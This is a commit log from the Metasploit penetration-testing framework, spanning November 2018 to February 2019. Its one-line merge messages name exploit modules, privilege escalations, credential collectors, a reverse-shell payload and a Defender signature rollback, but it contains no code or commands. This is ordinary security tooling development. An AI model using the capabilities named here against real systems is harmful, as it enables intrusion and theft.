Metasploit 38b5abdb2b automatic module_metadata_base.json update 2019-02-08 16:38:54 -08:00
Wei Chen ed4acd6b31 Land #11279, improve imap_open exploit to be more robust 2019-02-08 16:30:14 -08:00
Metasploit b22f40fffc automatic module_metadata_base.json update 2019-02-08 16:12:53 -08:00
Wei Chen 78a7242cb7 Land #11282, Support to retrieve data from ListConfigFiles SAP webmethod 2019-02-08 16:03:41 -08:00
Metasploit ce3fa8ab1d automatic module_metadata_base.json update 2019-02-08 12:32:28 -08:00
Brent Cook d7085ddf67 Land #11345, Add Solaris pfexec Upgrade Shell module 2019-02-08 12:23:56 -08:00
Wei Chen 485f8b0727 Land #11371, Add auxiliary/scanner/http/rips_traversal docs 2019-02-08 11:51:06 -08:00
Metasploit cfb9d50c85 automatic module_metadata_base.json update 2019-02-08 01:29:15 -08:00
Brendan Coles f4b4e29b94 Land #11352, Add JVC/Siemens/Vanderbilt IP-Camera Password Disclosure module 2019-02-08 01:21:33 -08:00
Metasploit 9d4eab3e2f Bump version of framework to 4.17.41 2019-02-07 10:02:10 -08:00
Metasploit d2ac4c88eb automatic module_metadata_base.json update 2019-02-07 07:50:09 -08:00
Brent Cook 5c97118bd0 Land #10812, add 32-bit trident exploit support 2019-02-07 09:47:18 -06:00
Brent Cook 182e339a44 Land #11361, Add URL scheme and Base64.encode64 checks to msftidy 2019-02-07 09:44:54 -06:00
William Vu e895201c11 Land #11366, Cisco RV320/RV325 config dumper 2019-02-07 09:44:54 -06:00
Brent Cook 0c5c3303a6 Land #11342, Modify Post read_file to check if file is readable 2019-02-07 09:44:54 -06:00
Brent Cook 3101368bc9 Land #11361, Add URL scheme and Base64.encode64 checks to msftidy 2019-02-07 09:44:53 -06:00
Brent Cook 0dd514eb41 Land #11165, Fix intermittent problem with native osx stager 2019-02-07 09:44:53 -06:00
Brent Cook 62ac7c92e9 Land #11193, increase capacity for meterpreter 'stat' command 2019-02-07 09:39:38 -06:00
Wei Chen 8df9fc9473 Land #11072, Add nuuo_nvrmini_upgrade_rce 2019-02-06 20:32:33 -08:00
Metasploit 30f5dcc44f automatic module_metadata_base.json update 2019-02-06 17:36:37 -08:00
Brendan Coles 0858e8fe04 Land #11331, Add C2S DVR Management Password Disclosure module 2019-02-06 17:29:12 -08:00
Metasploit b919821c19 automatic module_metadata_base.json update 2019-02-06 16:12:17 -08:00
Pearce Barry a6a391de0a Land #11349, Add Evince CBT File Command Injection module 2019-02-06 15:56:45 -08:00
Adam Cammack 0fba650551 Land #11363, Lock sqlite3 gem to patch version 2019-02-06 08:58:41 -08:00
Adam Cammack f1abb04721 Land #11362, Lock sqlite3 until binaries are up 2019-02-05 19:23:35 -06:00
Metasploit 6a2eae598d automatic module_metadata_base.json update 2019-02-05 05:29:45 -08:00
Jacob Robles 8fd229f883 Land #11304, Add CVE-2018-1000999 to MailCleaner module 2019-02-05 05:22:26 -08:00
Metasploit 1b0487baa8 automatic module_metadata_base.json update 2019-02-04 05:06:08 -08:00
Brent Cook 34b307dee7 Land #11348, Add nil check to enum_patches 2019-02-04 03:27:45 -08:00
Brent Cook 99cc417a5c Land #11347, add version check to Safari RCE exploit 2019-02-04 03:23:51 -08:00
Brendan Coles b016447ea6 Land #11350, Add missing to_linux_armle_elf_dll method to Msf::Util::EXE
Allow generation of ARMLE shared object payloads
2019-02-02 22:15:04 -08:00
Metasploit 8901b3d622 automatic module_metadata_base.json update 2019-02-01 14:39:51 -08:00
bwatters 1b21bffb11 Land #11039, Add linux x64 ipv6 reverse shell
Merge branch 'land-11039' into upstream-master
2019-02-01 14:24:06 -08:00
Metasploit 3d14d72396 Bump version of framework to 4.17.40 2019-02-01 13:42:04 -08:00
Metasploit 00af93ca1c automatic module_metadata_base.json update 2019-02-01 13:30:47 -08:00
Wei Chen 9a42bdd242 Land #11309, Normalize newlines in CommandShell#run_single 2019-02-01 13:18:57 -08:00
William Vu 8a7c42e09d Land #11343, Ubiquiti discovery PR fixes 2019-02-01 13:13:26 -08:00
bwatters 4b8cc4dece Land #11338, Add module to discover Ubiquiti devices
Merge branch 'land-11338' into upstream-master
2019-02-01 09:45:38 -08:00
Wei Chen 1fcafb98d8 Land #11310, MSF API to zip instead of relying on system() 2019-02-01 09:34:38 -08:00
Brendan Coles 5d6fb3eff9 Land #11339, Move command_exists? method to Msf::Post::Common 2019-02-01 07:56:48 -08:00
Metasploit c9dad4b457 Bump version of framework to 4.17.39 2019-01-31 10:02:31 -08:00
bwatters 6e4e89e9ff Land #13366, Bump mettle 0.5.4
Merge branch 'land-11336' into upstream-master
2019-01-31 11:40:56 -06:00
William Vu acb570517a Land #11329, sessions -k range fix 2019-01-30 09:31:25 -08:00
Brent Cook ac937a7996 Land #11332, Add support for mettle debug 2019-01-30 09:09:55 -08:00
Jeffrey Martin 649e528875 Land #11330, Fix HTTP/SMB mixin order to restore SSL option 2019-01-29 15:56:24 -08:00
Brent Cook 58c49f1c02 Land #11322, report hostname and OS version for Cisco aux mixin 2019-01-29 15:56:24 -08:00
Brent Cook 8f64a411e3 Land #11315, fix incorrect API usage of session_setup_clear 2019-01-29 15:56:24 -08:00
Brent Cook a81290a39b Land #11325, bump mettle, fix MIPS targets and a few other memory issues 2019-01-29 17:51:45 -06:00
Metasploit 34846ff20d Bump version of framework to 4.17.38 2019-01-24 10:04:04 -08:00
William Vu 2a823ac315 Land #10119, Linux post-exploitation metashell 2019-01-24 09:29:40 -08:00
Adam Cammack ecbdff2da6 Land #11305, Add default to wordlist.to_file() 2019-01-23 13:22:21 -08:00
Adam Cammack 0d520bc89a Land #11303, Add Post::Linux::Kernel.cpu_flags 2019-01-23 13:18:42 -08:00
Adam Cammack 3d5a087ccc Land #11271, Resource scripting for command shells 2019-01-23 13:06:21 -08:00
Shelby Pace 4ff023d825 Land #11243, Add ASan SUID Privesc 2019-01-22 13:54:45 -08:00
sinn3r 748da0b764 Land #11275, Fix a typo in command_dispatcher/core.rb
Fix typo of "architectures" in pivot command help
2019-01-22 09:59:54 -08:00
Wei Chen a276a82a62 Land #11268, set AndroidWakelock=true by default 2019-01-22 09:58:19 -08:00
sinn3r 845c8aa9b1 Land #11297, Fix a typo in auxiliary/dos/scada/allen_bradley_pccc
typo fixed
2019-01-22 09:42:42 -08:00
Wei Chen 2edffeeb4d Land #11272, Tempfile over Rex for info -d for better cleanup 2019-01-22 09:40:47 -08:00
William Vu 29ba9732fa Land #11287, corrected attibution for blueman 2019-01-22 09:16:47 -08:00
Brendan Coles 3fa874af61 Land #11261, Add maximum word length to JtR wordlist generation 2019-01-19 20:04:34 -08:00
Brendan Coles e4fb4e89d7 Land #11284, Fix WMAP plugin report_web_site to report to a workspace 2019-01-19 16:19:04 -08:00
Metasploit 772329acf9 Bump version of framework to 4.17.37 2019-01-17 20:38:22 -08:00
Jeffrey Martin d35c960403 sync Gemfile.lock from version bump 2019-01-17 18:20:23 -06:00
Jeffrey Martin f8eed576c7 Bump metasploit-framework to 4.17.36
missing gem bump from after 40c2e9a release of 4.17.35
2019-01-17 17:50:14 -06:00
William Vu a2f81988c7 Land #11267, RHOST fix for ms17_010_psexec 2019-01-17 11:26:39 -08:00
h00die 56d622e53d land #11169 blueman priv esc on linux 2019-01-17 11:09:45 -06:00
Jacob Robles 8d09c7e0fb Land 11269, fix java_deserialization_spec check 2019-01-17 11:00:43 -06:00
Brent Cook 4533c86a4f Land #11230, add JuicyPotato local privilege escalation 2019-01-17 08:48:45 -08:00
Wei Chen 19c7289d92 Land #11190, fix multi line text in android send_sms 2019-01-17 08:48:45 -08:00
Wei Chen 9256c6f0c1 Land #11125, Import/generate ysoserial Java serialization objects 2019-01-17 10:46:29 -06:00
Jacob Robles 3109f65062 Land #11263, uppercase KoreLogic in JTR modules 2019-01-15 06:53:20 -08:00
Jacob Robles 50cab04044 Land #11242, fix Msf::Post::File #pwd output 2019-01-15 06:44:54 -08:00
Jacob Robles 1e295cfa6d Land #11245, doc update for chrome_cookies 2019-01-15 06:06:37 -08:00
Green-m d449761782 Land #11255, Assign CVE number to spark unauth rce 2019-01-14 19:21:41 -08:00
William Vu 9c5725b25c Land #11234, @bcoles revisionism 2019-01-11 18:17:42 -08:00
Brent Cook 83264b8894 Land #11215, success 2019-01-10 11:00:36 -08:00
Brent Cook 13022ca1ad Land #11217, fix syntax and logic errors in badpdf module 2019-01-10 10:55:38 -08:00
sinn3r 40c2e9ae78 Land #11223 - ueb priv esc suggestion
ueb priv esc suggestion.
2019-01-10 08:36:44 -08:00
Jacob Robles 7711d2a700 Land #11206, add coldfusion ckeditor file upload 2019-01-10 05:30:05 -08:00
Jacob Robles 10a68a01bf Land #11226, typo fixes in cisco_firepower_useradd 2019-01-10 04:54:04 -08:00
Brendan Coles 7b552140a0 Land #11200, Update GitHub PR template to ask for a unique branch 2019-01-09 21:31:20 -08:00
William Vu c859d4ec50 Land #11106, Allen-Bradley legacy protocol DoS 2019-01-09 10:15:42 -08:00
Jacob Robles fc7cd7fdc5 Land #11199, update joomla wordlists 2019-01-09 08:09:41 -08:00
Jacob Robles 85f74e3ffc Land #11148, Adding Module MailCleaner RCE 2019-01-08 12:14:09 -08:00
Jacob Robles 1792ecf380 Land #11052, Add gather chrome cookies post module 2019-01-08 05:35:09 -08:00
William Vu f6856d2b1c Land #10648, auth bypass for couchdb_enum 2019-01-07 10:55:53 -08:00
Metasploit 1162e8506b Bump version of framework to 4.17.35 2019-01-04 13:57:09 -08:00
Brent Cook b7cf2d55fc Land #11195, update travis to use latest rubygems 2019-01-04 04:02:31 -08:00
Adam Cammack 4531f4ce93 Land #11194, Pin Travis CI bundler to 1.17.3 2019-01-03 15:40:55 -08:00
Brent Cook cad4c34448 Land #11182, bump mettle, change debug and background options 2019-01-03 17:39:16 -06:00
William Vu 867428068d Land #11154, tab completion for aux rerun/exploit 2019-01-02 16:47:44 -08:00
Metasploit e607a9fd9a automatic module_metadata_base.json update 2018-12-29 02:24:05 -08:00
Brendan Coles 290b617fa7 Land #11141, Ensure Byte XORi Encoder uses cacheflush() 2018-12-29 02:10:12 -08:00
Brendan Coles 8a3101f6e3 Land #11140, Ensure MIPS Long XOR Encoder uses cacheflush() 2018-12-29 02:08:33 -08:00
Metasploit 8209992192 automatic module_metadata_base.json update 2018-12-28 07:24:02 -08:00
Shelby Pace 3fae01b403 Land #10444, add Consul rexec RCE module 2018-12-28 07:16:49 -08:00
Metasploit 33d7f09385 automatic module_metadata_base.json update 2018-12-28 06:51:22 -08:00
Shelby Pace 11abb03056 Land #10443, add Consul service RCE module 2018-12-28 06:37:21 -08:00
Metasploit 51b33ed928 Bump version of framework to 4.17.34 2018-12-27 10:02:57 -08:00
Metasploit 4d6a062caf automatic module_metadata_base.json update 2018-12-25 19:46:27 -08:00
Green-m 774b03ae4a Land #11174, Fix platform bug when upgrade shell.
The platform on windows powershell should be 'win', rather than
'windows', this bug leads to failure when upgrade powershell session
to meterpreter.
2018-12-25 19:39:05 -08:00
Metasploit 57f5481f08 automatic module_metadata_base.json update 2018-12-21 15:53:35 -08:00
Brent Cook a9e2f1f7d2 Land #11137, Clean up linux/local/vmware_alsa_config exploit module 2018-12-21 15:53:34 -08:00
Brent Cook c4c72dfa03 Land #11038, add REG_MULTI_SZ support for Meterpreter registry reads 2018-12-21 17:51:08 -06:00
Brent Cook 5c90ce5c05 Land #11160, Add CMDSTAGER::SSL datastore option 2018-12-21 13:34:59 -08:00
Metasploit c33c04f668 automatic module_metadata_base.json update 2018-12-21 13:17:31 -08:00
Brent Cook 9150d3c4b9 Land #11156, Add CmdStager to erlang_cookie_rce 2018-12-21 12:46:53 -08:00
William Vu e8af5d4d93 Land #11128, Rex::Exploitation::CmdStagerFetch 2018-12-21 12:19:11 -08:00
Jacob Robles 5b13382cf5 Land #11155, Fix typo 2018-12-21 06:18:01 -08:00
Metasploit acf347d41c automatic module_metadata_base.json update 2018-12-20 15:48:44 -08:00
Brent Cook a5c40c1de5 Land #11149, fix a PTY leak in Python Meterpreter 2018-12-20 17:46:37 -06:00
Metasploit 3b4a13e3e0 Bump version of framework to 4.17.33 2018-12-20 12:18:10 -08:00
Metasploit 875b6a299c automatic module_metadata_base.json update 2018-12-19 20:46:56 -08:00
William Vu 1a7c9d3a45 Land #11143, nc -j fix for cups_root_file_read 2018-12-19 20:39:32 -08:00
Metasploit 8b3910a753 automatic module_metadata_base.json update 2018-12-19 11:21:10 -08:00
asoto-r7 78d6394c60 Land #10401, java_jmx_server scanner for Java JMX MBean servers 2018-12-19 11:14:22 -08:00
Metasploit 343a57425e automatic module_metadata_base.json update 2018-12-19 09:54:04 -08:00
Wei Chen e6482537a5 Land #11083, set user agent in Windows reverse_http(s) stagers 2018-12-19 09:39:54 -08:00
Metasploit 26632d7d07 automatic module_metadata_base.json update 2018-12-19 06:32:36 -08:00
Jacob Robles a0df69c94f Land #11089, Erlang cookie rce exploit module 2018-12-19 06:16:51 -08:00
Wei Chen 475a623cbc Land #11102, remove old metasm remnants 2018-12-18 06:57:26 -08:00
Metasploit 421abe44c9 automatic module_metadata_base.json update 2018-12-17 19:33:15 -08:00
Brent Cook a9f6c81aa8 Land #11135, strip comments from source code before uploading it to the target 2018-12-17 19:25:27 -08:00
Brent Cook 183ad8f842 Land #11138, add reverse_tcp mixin for vax payload 2018-12-17 19:19:22 -08:00
Metasploit 4c1d5d67c0 automatic module_metadata_base.json update 2018-12-17 12:25:02 -08:00
bwatters 0b5c241aff Land #11101, temp fix for x64/xor stage encoder
Merge branch 'land-11101' into upstream-master
2018-12-17 12:17:14 -08:00
Metasploit 969ffe5eec automatic module_metadata_base.json update 2018-12-17 08:13:25 -08:00
Shelby Pace fd2886b499 Land #11112, Fix bpf_priv_esc exploit module 2018-12-17 08:04:33 -08:00
Metasploit 0313716e09 automatic module_metadata_base.json update 2018-12-17 07:19:54 -08:00
Wei Chen 76ec4781a3 Land #11127, Fix TARGETURI support in struts2_namespace_ognl 2018-12-15 07:35:20 -08:00
Metasploit b0247c7aaf automatic module_metadata_base.json update 2018-12-14 14:03:56 -08:00
Wei Chen 07b81ebc2d Land #11124, delete unused variable 2018-12-14 13:56:48 -08:00
Metasploit 31f440fafd Bump version of framework to 4.17.32 2018-12-13 20:26:00 -08:00
Brent Cook 9400e6b139 Land #11121, remove call to undefined port_allowed? 2018-12-13 18:03:08 -08:00
Metasploit b5686ab1f4 automatic module_metadata_base.json update 2018-12-13 14:25:58 -08:00
Brent Cook 16e8ddf82d Land #11119, Add WEBUI_PORT to hp_van_sdn_cmd_inject exploit 2018-12-13 14:19:19 -08:00
Metasploit f2fd6716b2 automatic module_metadata_base.json update 2018-12-13 13:41:29 -08:00
Metasploit ce6a984e7d automatic module_metadata_base.json update 2018-12-13 13:32:40 -08:00
Jeffrey Martin 0e6ad05301 Land #11120, revert Bypassuac computerdefault
this reverts #10886 landed in error
2018-12-13 13:32:39 -08:00
Wei Chen ec2b1c9995 Land #10944, Add macOS Safari exploit from pwn2own2018 2018-12-13 13:32:39 -08:00
bwatters-r7 2aac5a13da Land #11118, update Gemfile.lock
Merge branch 'land-11118' into upstream-master
2018-12-13 14:29:17 -06:00
Metasploit 62a72ca8ec Bump version of framework to 4.17.31 2018-12-13 10:02:56 -08:00
bwatters-r7 4b969e336a Land #10676, Add support for ext_server_unhook
Merge branch 'land-10676' into upstream-master
2018-12-13 11:24:24 -06:00
bwatters-r7 bedc8f1514 Land #10886, Bypassuac computerdefault
Merge branch 'land-10886' into upstream-master
2018-12-13 11:22:38 -06:00
Caitlin Condon b302f1284a Update CONTRIBUTING.md 2018-12-13 10:59:20 -06:00
Aaron Soto 87782fcc7b Update CONTRIBUTING.md
Updated vuln disclosure, removed deprecated instructions, added links to more recent examples
2018-12-13 10:54:46 -06:00
Caitlin Condon 9d402dc5ac Change individual contacts 2018-12-13 10:43:41 -06:00
Metasploit e8727d621b automatic module_metadata_base.json update 2018-12-12 14:41:07 -08:00
William Vu 3cb8ef82dc Land #11103, CreateSession option for aux modules 2018-12-12 14:32:26 -08:00
Metasploit 7cbc4bc52c automatic module_metadata_base.json update 2018-12-12 11:44:15 -08:00
Wei Chen 5ddd15f353 Land #10429, Add webdav delivery module 2018-12-12 11:33:45 -08:00
Metasploit 53016402fb automatic module_metadata_base.json update 2018-12-11 18:41:43 -08:00
William Vu d5309999db Land #11107, double negative logic cleanup 2018-12-11 18:32:32 -08:00
Metasploit fa535bc755 automatic module_metadata_base.json update 2018-12-11 10:13:56 -08:00
Shelby Pace b0569e7242 Land #10960, add wp duplicator code inject module 2018-12-11 10:06:00 -08:00
Metasploit 3563a6ba02 automatic module_metadata_base.json update 2018-12-11 06:41:00 -08:00
Jacob Robles 562ddb87a2 Land #11040, Add CyberLink LabelPrint Local BOF 2018-12-11 06:26:17 -08:00
Metasploit 600d597900 automatic module_metadata_base.json update 2018-12-10 09:43:47 -08:00
William Vu 8f7c2eb6f6 Land #10318, Oracle function-based index privesc 2018-12-10 09:36:33 -08:00
Brent Cook 36a2db2b46 Land #11082, Update show plugins to show all available plugins as well 2018-12-10 08:22:45 -08:00
Metasploit 13b5a7d38b automatic module_metadata_base.json update 2018-12-10 08:07:52 -08:00
Brent Cook b45a6d7ef7 Land #11090, update code and style for exploit/linux/local/glibc_origin_expansion_priv_esc 2018-12-10 08:01:24 -08:00
Brendan Coles eaf483bdef Land #11096, Replace WsfDelay typo with WfsDelay in docs 2018-12-10 02:54:50 -08:00
Metasploit 8963ad7821 automatic module_metadata_base.json update 2018-12-09 22:49:25 -08:00
William Vu 5b3d5b20cb Land #11087, File::binread for exploit_data 2018-12-09 22:40:30 -08:00
Brent Cook 67069e292b Land #11091, add chronos user 2018-12-09 07:25:44 -08:00
Metasploit fe37c68417 automatic module_metadata_base.json update 2018-12-08 10:14:27 -08:00
Brent Cook 228e9ed99d Land #11080, update mettle payloads 2018-12-08 12:11:35 -06:00
Brent Cook 696896510f Land #11085, add lkrg_installed? checks to various modules 2018-12-08 12:10:18 -06:00
Brent Cook 50fc49ff5f Land #11081, Add Msf::Post::Linux::Kernel.lkrg_installed? method 2018-12-08 12:10:18 -06:00
Brent Cook c147c7e95c Land #11079, add kernel configuration checks to local exploits 2018-12-08 12:10:17 -06:00
Brent Cook a337e80f8e Land #11066, add rpc output locking, fix logging 2018-12-08 12:10:17 -06:00
Brent Cook fe535376ae Land #10940, add default service mapping to imports 2018-12-08 12:08:49 -06:00
Metasploit 2cd0b56699 automatic module_metadata_base.json update 2018-12-06 19:02:11 -08:00
Brent Cook edc0212d21 Land #11064, Add Msf::Post::Linux::Kernel.kernel_config method 2018-12-06 18:53:51 -08:00
Brent Cook d3c80e225a Land #11076, Prevent storing empty config files as loot 2018-12-06 18:31:35 -08:00
Brent Cook a67d05091b Land #11062, Suppress 'Permission denied' errors when enumerating SUID files 2018-12-06 18:24:31 -08:00
Brent Cook 1e4ec29e45 Land #11060, Add checks to post/linux/gather/enum_protections 2018-12-06 18:19:49 -08:00
Brent Cook 2589010156 Land #11078, add additional CVE for exploit/linux/http/php_imap_open_rce 2018-12-06 18:17:40 -08:00
Metasploit f8b6b5331d Bump version of framework to 4.17.30 2018-12-06 10:03:40 -08:00
Brent Cook 0b5368330c Land #10964, add initial golang modules for enumerating owa/o365 2018-12-04 08:36:43 -08:00
Metasploit 749d8e269c automatic module_metadata_base.json update 2018-12-03 15:18:55 -08:00
asoto-r7 9a29db90f1 Land #10947, HPE Intelligent Management Center Java Deserialization RCE 2018-12-03 15:09:49 -08:00
Metasploit 655601968e automatic module_metadata_base.json update 2018-12-03 14:41:29 -08:00
Brent Cook 67155d33cf Land #11050, Add protection checks to Msf::Post::Linux::Kernel lib 2018-12-03 14:41:29 -08:00
Brent Cook dc7954c829 Land #11053, Add Openwall detection to Linux system lib 2018-12-03 14:41:29 -08:00
Brent Cook 67cddffc51 Land #11049, Add Emacs movemail local exploit 2018-12-03 14:41:28 -08:00
Brent Cook c704552ca4 Land #11055, Bump payloads version to 1.3.54 2018-12-03 16:39:27 -06:00
Metasploit 2ab2ecc95f automatic module_metadata_base.json update 2018-12-03 09:08:22 -08:00
bwatters-r7 618eb49405 Land #10842, Add Windows Post Module to roll back Windows Defender signatures
Merge branch 'land-10842' into upstream-master
2018-12-03 09:00:22 -08:00
Jeffrey Martin 73724f111b Land #10798, Cisco device manager update 2018-12-02 23:41:28 -08:00
Brendan Coles 16184573cc Land #11054, Fix tab completion for alias plugin 2018-12-02 23:31:29 -08:00
Metasploit f04d903e2a automatic module_metadata_base.json update 2018-11-30 23:22:08 -08:00
Brendan Coles 366642585b Land #11046, Fix Msf::Post::Linux::System.get_hostname to return hostname 2018-11-30 23:04:43 -08:00
Brendan Coles eeff29167a Land #11044, Add pretty 'authenticating' message to MS17-010 modules 2018-11-30 22:58:14 -08:00
Metasploit 2236e79771 Bump version of framework to 4.17.29 2018-11-30 13:02:40 -08:00
Metasploit 20147734c1 Bump version of framework to 4.17.28 2018-11-30 12:46:41 -08:00
Metasploit ee89a58134 automatic module_metadata_base.json update 2018-11-29 18:18:29 -08:00
Green-m f8126235bb Land #11042, calm down msftidy. 2018-11-29 18:09:13 -08:00
Metasploit 5ecb2de8de automatic module_metadata_base.json update 2018-11-29 14:53:31 -08:00
Jacob Robles 8ff838b9c7 Land #11035, improve fingerprinting for Cisco ASA VPN scanner 2018-11-29 14:44:15 -08:00
Metasploit 7a4d67d5f6 automatic module_metadata_base.json update 2018-11-29 12:10:01 -08:00
Jacob Robles e88d2a1fcd Land #10954, apache spark unauth rce module 2018-11-29 12:01:59 -08:00
Metasploit 94abef4aa1 automatic module_metadata_base.json update 2018-11-29 11:44:27 -08:00
Metasploit 48c4a180ad automatic module_metadata_base.json update 2018-11-29 11:35:28 -08:00
Jacob Robles 340f6d7d0d Land #10952, WP GDPR Compliance plugin exploit 2018-11-29 11:35:28 -08:00
asoto-r7 2c33b3bcc0 Land #10877, ibm-mq-login username/password checker 2018-11-28 09:47:16 -08:00
Metasploit f4131f548b automatic module_metadata_base.json update 2018-11-27 18:36:48 -08:00
Brent Cook fca9882bcd Land #11033, update refs for imap_open vulnerability 2018-11-27 18:26:09 -08:00
h00die f23774d62e Land #9946 a UEB local priv escalation 2018-11-27 18:22:20 -08:00
Metasploit d05cc4a3ac automatic module_metadata_base.json update 2018-11-27 15:52:19 -08:00
Wei Chen 23cbfd548a Land #10716, Create PureVPN Credential Collector Post Explotation Module 2018-11-27 15:44:27 -08:00
Metasploit f3dc091bd8 automatic module_metadata_base.json update 2018-11-27 15:42:54 -08:00
William Vu ed17e2c42f Land #11032, SMAP check for chocobo_root 2018-11-27 15:35:13 -08:00
Metasploit d400851883 automatic module_metadata_base.json update 2018-11-27 14:55:50 -08:00
Brent Cook 7daedb48f4 Land #10987, add exploit for PHP imap_open function against various web apps 2018-11-27 14:47:28 -08:00
Metasploit 528a11a8b2 automatic module_metadata_base.json update 2018-11-27 14:35:17 -08:00
Brent Cook 4c2772a5fc Land #10994, Added exploit for CVE-2018-18955 2018-11-27 14:27:50 -08:00
Metasploit 31f8956a14 automatic module_metadata_base.json update 2018-11-27 13:10:54 -08:00
Shelby Pace 8afbb1a21e Land #10737, add TeamCity XML-RPC exploit module 2018-11-27 13:02:45 -08:00
Metasploit 87d28fc4f3 automatic module_metadata_base.json update 2018-11-27 12:13:51 -08:00
Wei Chen 56e0c51897 Land #10965, Add the macOS LPE from pwn2own2018 (CVE-2018-4237) 2018-11-27 12:02:49 -08:00
Metasploit 86ed9c144c automatic module_metadata_base.json update 2018-11-27 09:33:28 -08:00
William Vu 3cefe579da Land #10949, ForceExploit for Linux local exploits 2018-11-27 09:25:32 -08:00
William Vu b105d401a6 Land #10727, nil notes fix for external modules
This fixes loading of external modules without notes.
2018-11-27 09:25:32 -08:00
Brent Cook 80dda9e7be Land #10509, Add source meta command for shell sessions 2018-11-26 12:30:23 -08:00
Brent Cook 7d62375c9f Land #11017, Fix userns_enabled? check for unprivileged_userns_clone 2018-11-26 12:09:45 -08:00
Metasploit 9ae7c0a752 automatic module_metadata_base.json update 2018-11-26 12:02:58 -08:00
Wei Chen 659e7d7a59 Land #10975, More Capture Docs 2018-11-26 11:53:39 -08:00
Metasploit d429a81f63 automatic module_metadata_base.json update 2018-11-26 09:57:53 -08:00
Brent Cook 9c281f2b74 Land #10768, Exploit for Netgear CVE-2016-1555 2018-11-26 09:48:41 -08:00
Metasploit 53015ead6b automatic module_metadata_base.json update 2018-11-26 09:11:35 -08:00
Brent Cook 14b73a664d Land #11019, Replace WsfDelay with WfsDelay 2018-11-26 09:01:16 -08:00
Brent Cook 2867e9c709 Land #11027, revert datastore changes that broke aliases 2018-11-26 08:58:18 -08:00
Metasploit 1b9fe30b94 automatic module_metadata_base.json update 2018-11-26 08:41:56 -08:00
Brent Cook 9acb0cd689 Land #9915, Cleanup and improvements to influxdb_enum 2018-11-26 08:30:08 -08:00
Green-m a9eb87efbd Land #11020, update php reverse_tcp payload doc. 2018-11-26 02:13:15 -08:00
Metasploit bf64f7d401 automatic module_metadata_base.json update 2018-11-24 21:00:52 -08:00
Brendan Coles 3f8c2268a6 Land #11015, Fix payload and console check for Xorg_privesc Linux targets 2018-11-24 20:43:34 -08:00
Metasploit 985d973f94 automatic module_metadata_base.json update 2018-11-24 17:13:36 -08:00
Brendan Coles 6cf3850e72 Land #11011, Fix capitalization of datastore option 2018-11-24 17:06:15 -08:00
Green-m 83392e1e47 Land #11003, fix smb login scanner failure. 2018-11-22 21:57:41 -08:00
Metasploit 76b5270731 automatic module_metadata_base.json update 2018-11-22 21:51:56 -08:00
William Vu 7ab8123b3d Land #11006, misc. fixes for morris_fingerd_bof 2018-11-22 21:42:15 -08:00
Metasploit fbdadafedd Bump version of framework to 4.17.27 2018-11-22 10:04:18 -08:00
Metasploit 8f909904b9 automatic module_metadata_base.json update 2018-11-21 18:33:43 -08:00
Brent Cook a334878fd1 Land #10916, Xorg SUID privesc 2018-11-21 18:24:03 -08:00
Metasploit 9d5fa01470 automatic module_metadata_base.json update 2018-11-21 15:20:07 -08:00
Brent Cook 4c8d3918cc Land #10981, start printjob docs and bug fixes 2018-11-21 15:20:07 -08:00
Brent Cook 91f427327e Land #11002, Support Python 3.7 in external probe scanner code 2018-11-21 15:20:07 -08:00
Brent Cook cdb101659f Land #10997, Remove harmful default command to execute 2018-11-21 15:20:06 -08:00
asoto-r7 82abc7b76b Land #10876, ibm_mq_enum: IBM WebSphere MQ Name and Version Enumeration 2018-11-21 15:20:06 -08:00
Brent Cook 42a8022fd1 Land #11001, Properly error out when attempting to format ELFs 2018-11-21 17:16:15 -06:00
Adam Cammack a8a864cc80 Land #10802, Make msfvenom -f case-insensitive 2018-11-21 14:08:20 -08:00
Brent Cook 445fea75f5 Land #10872, Add --pad-nops option for msfvenom 2018-11-21 14:04:30 -08:00
Adam Cammack e70aeb756a Land #10996, Check check code for ms15-034 2018-11-21 12:49:42 -08:00
Adam Cammack 06062e11fa Land #10998, Unregister datastore aliases properly 2018-11-21 12:38:35 -08:00
asoto-r7 38d9adf581 ibm_mq_channel_brute: Exception handling when channel.length > 20 chars 2018-11-21 09:20:11 -06:00
asoto-r7 53a6354a45 Land #10875, IBM WebSphere MQ Channel Name Bruteforce auxiliary module 2018-11-20 14:27:06 -08:00
Shelby Pace de9c57408c Land #10352, Add check/response for CVE-2017-12149 2018-11-20 11:14:33 -08:00
Brent Cook b90d79040e Land #10977, Add documentation and some enhancement to freesshd_authbypass module 2018-11-20 09:47:33 -08:00
Brent Cook 163d61e9e1 Land #10984, don't examine a nil object in ms15_034_ulonglongadd 2018-11-20 06:39:46 -08:00
Shelby Pace b565a6ac47 Land #10558, Add IIS ShortName Scanner module 2018-11-20 06:29:00 -08:00
Brent Cook f059784237 Land #10992, fix loadpath test/modules 2018-11-20 06:23:09 -08:00
Brent Cook 7ef4e42c08 Land #10972, Rework session_compatible? check in post mixin, excluding ARCH_CMD modules 2018-11-19 14:12:04 -08:00
Brent Cook a0dd7903d4 Land #10989, Coerce DisablePayloadHandler into a Boolean string 2018-11-19 11:27:46 -08:00
Brent Cook d8e0b17777 Land #10973, Rework DisclosureDate check in msftidy, including ISO 8601 support 2018-11-19 08:50:32 -08:00
Brent Cook 3a5153281e Land #10971, Fix extraneous whitespace in check output 2018-11-16 01:44:29 -08:00
h00die ff7f10b637 Land #10572 eaton ssh private key scanner 2018-11-15 14:19:16 -08:00
Metasploit f7b5e7bbf9 Bump version of framework to 4.17.26 2018-11-15 10:05:25 -08:00
Metasploit 2810e05e7d automatic module_metadata_base.json update 2018-11-14 11:31:13 -08:00
Chris Higgins 01902c2ba1 Land #10925, smb_login error/status message 2018-11-14 11:21:54 -08:00
Metasploit eab6a32853 automatic module_metadata_base.json update 2018-11-14 11:01:00 -08:00
Jacob Robles 77da5b145e Land #10828, git submodule url exec CVE-2018-17456 2018-11-14 10:51:16 -08:00
christopher lee eaa55a202a Landing #10932, Cleanup go module loader (lib/msf/core/modules/external/go/src/metasploit/module.go) 2018-11-14 07:54:21 -08:00
Brent Cook ed11b2e5c3 Land #10951, prepend python and go paths when running external modules 2018-11-14 07:36:34 -08:00
christopher lee 30f0890ab3 Land #10758, Golang module support 2018-11-14 07:36:34 -08:00
Metasploit 02c952a58b automatic module_metadata_base.json update 2018-11-13 13:47:05 -08:00
Shelby Pace a90bea2551 Land #9631, add Jira plugin upload module 2018-11-13 13:36:30 -08:00
Metasploit 2b613bc3c2 automatic module_metadata_base.json update 2018-11-13 09:00:02 -08:00
Brent Cook 4c31392785 Land #10607, Add External Module: office365userenum.py 2018-11-13 09:00:01 -08:00
Green-m 68688c88f7 Land #10938, add docs for modules and fix bug.
Add docs for auxiliary module http_basic/imap/mysql, and fix a bug
in modules/auxiliary/server/capture/mysql.rb
